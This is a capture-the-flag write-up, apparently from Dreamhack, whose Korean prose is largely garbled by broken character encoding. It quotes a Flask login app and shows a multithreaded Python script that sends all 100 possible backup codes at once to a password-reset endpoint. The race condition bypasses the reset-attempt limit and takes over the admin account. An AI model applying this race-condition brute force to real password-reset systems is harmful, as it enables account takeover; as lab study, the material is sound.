1. ๋ฌธ์
2. ํด๊ฒฐ ๊ณผ์
๋ฌธ์ ์ ์ ์ํ๋, ๋ก๊ทธ์ธ/ ํ์๊ฐ์ /๋น๋ฐ๋ฒํธ ์ฌ์ค์ ๊ธฐ๋ฅ์ด ์๋ ํ์ด์ง๊ฐ ๋ณด์ธ๋ค.
๋ก๊ทธ์ธ ํ์ด์ง์์ admin/admin ์ผ๋ก ์ ๋ ฅํด๋ณด์๋๋ ํ๋ ธ๋ค๊ณ ๋์จ๋ค.
์ฝ๋ ํ์ธ
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
if user:
session['idx'] = user['idx']
session['userid'] = user['id']
session['name'] = user['name']
session['level'] = userLevel[user['level']]
return redirect(url_for('index'))
return "<script>alert('Wrong id/pw');history.back(-1);</script>";
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
else:
userid = request.form.get("userid")
password = request.form.get("password")
name = request.form.get("name")
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
return "<script>alert('Already Exists userid.');history.back(-1);</script>";
backupCode = makeBackupcode()
sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
conn.commit()
return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/user/<int:useridx>')
def users(useridx):
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
if user:
return render_template('user.html', user=user)
return "<script>alert('User Not Found.');history.back(-1);</script>";
@app.route('/admin')
def admin():
if session and (session['level'] == userLevel[1]):
return FLAG
return "Only Admin !"
register ํ์ด์ง์์ ๊ณ์ ์ ๋ง๋ค์ด๋ณด์๋ค.
test/test๋ก ํ์๊ฐ์ ์ ํ๋ ๋ฐฑ์ ์ฝ๋ 33์ ๋ถ์ฌ๋ฐ์๋ค.
์ฝ๋๋ฅผ ๋ณด๋ฉด ๋ฐฑ์ ์ฝ๋๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ ๋ ์ฌ์ฉ๋๋ค.
๋ํ, userLevel์ ๊ฒฝ์ฐ 1์ด๋ฉด admin ๋ ๋ฒจ์ด๋ค.
ํ์๊ฐ์ ์ ํ๋ฉด /user/ ๋ค๋ก ์ซ์๊ฐ ๋จ๋๋ฐ, /user/1 ๋ก ์ ์ํด๋ณด๋ฉด Apple/Apple ๊ณ์ ์ด ๋ฌ๋ค.
์ด๋, userLevel์ด 1์ด๋ฏ๋ก ์ด ๊ณ์ ์ด admin์ธ ๊ฒ์ ์ ์ ์๋ค.
http://host3.dreamhack.games:23385/user/2 ๋ก ์ ์ํด๋ณด๋ฉด Banana ๊ณ์ ์ด ๋ฌ๋ค.
์ด ๊ณ์ ์ ์ผ๋ฐ ์ ์ ๊ณ์ ์ด๋ค.
Apple ๊ณ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊ฟ์ ๋ก๊ทธ์ธ ํด์ผ ํ๋๊ทธ๋ฅผ ํ๋ํด๋ณผ ์ ์๋ค.
Apple ๊ณ์ ํจ์ค์๋๋ฅผ ๋ณ๊ฒฝํด๋ณธ๋ค.
๋ฐฑ์ ์ฝ๋๋ฅผ ๋ชจ๋ฅด๋ฏ๋ก ์ผ๋จ 0์ผ๋ก ์ค์
์๋ชป๋ ๋ฐฑ์ ์ฝ๋๋ผ๋ ์ฐฝ์ด ๋จ๊ณ , ๋ก๊ทธ์ธ ์๋๊ฐ 4๋ฒ ๋จ์๋ค๋ ์นด์ดํ ์ด ๋ฌ๋ค.
ํจ์ค์๋ ๋ณ๊ฒฝ ์ฝ๋๋ฅผ ๋ค์ ํ์ธํด๋ณด๋ฉด,
1. user๊ฐ ์กด์ฌํ๋ ๊ณ์ ์ด๋ฉด time.sleep(1)์ผ๋ก 1์ด๋ฅผ ์ง์ฐ์ํจ๋ค.
2. user['resetcount']๊ฐ 5์ด๋ฉด ์ด์ ํ์ด์ง๋ก ๊ฐ์ ๋ฆฌ๋ค์ด๋ ํธ ์ํจ๋ค. [๋ฐฑ์ ์ฝ๋ ์คํจ ํ์ 5ํ ์ ํ]
3. backup ์ฝ๋๊ฐ ์ผ์นํ๋ฉด 1~100๊น์ง ๋๋คํ ์ซ์๋ก ์๋ก์ด ๋ฐฑ์ ์ฝ๋๋ฅผ ๋ง๋ค๊ณ ํจ์ค์๋๋ฅผ ๋ณ๊ฒฝํ๋ค.
4. backup ์ฝ๋๊ฐ ์ผ์นํ์ง ์์ผ๋ฉด user['resetcount']๋ฅผ 1 ์ฆ๊ฐ์ํจ๋ค.
๋ ์ด์ค์ปจ๋์ ๊ฐ๋ ์ ๋ ์ฌ๋ ค๋ณด๋ฉด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๋๋ฐ ๋์์ด ๋๋ค.
์์คํ ์์์ ํ์ ๋์ด ์๊ธฐ ๋๋ฌธ์ ๋ ผ๋ฆฌ์ ์ธ ๋ฌธ๋ฒ์ด ์๋๋ผ๋ ๋์์ ์์ฒญ์ด ๋ค์ด์จ๋ค๋ฉด ๋จผ์ ๋ค์ด์จ ์์ฒญ์ ๋ค ์์ฐจ์ ์ผ๋ก ์ฒ๋ฆฌํ๋ ๊ฒ์ด ์๋๋ผ ํ๋ก์ธ์ค๋ผ๋ฆฌ ๊ฒฝ์์ ํ๋ค.
1~100 ๊น์ง์ ์๋ค ์ค ๋๋ค์ผ๋ก ๋ง๋ค์ด์ง ์๋ฅผ ์ฐพ์๋ด๊ธฐ๋ ํ๋ค๊ธฐ์, , ๋ฉํฐ ์ค๋ ๋๋ก ์์ฒญ์ ๋ณด๋ด๋ ์ฝ๋๋ฅผ ์์ฑํ์ฌ 1๋ถํฐ 100๊น์ง ์๋๋ฅผ ํด๋ณด๋ ๋ฐฉ์์ผ๋ก ์งํํ์๋ค.
import threading, requests
url = "http://host3.dreamhack.games:23385/forgot_password"
def forgot(backupCode):
data = {"userid": "Apple", "newpassword": "Apple", "backupCode": backupCode}
requests.post(url, data=data)
print(f"{backupCode}๋ฒ์งธ ์์ฒญ")
if __name__ == "__main__":
threads = []
for i in range(1, 100 + 1):
t = threading.Thread(target=forgot, args=[i])
t.start()
threads.append(t)
for thread in threads:
thread.join()
print("END")
์ดํ ์ฝ๋์์ ์์ ํ๋๋ก Apple/Apple๋ก ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ์๋ค.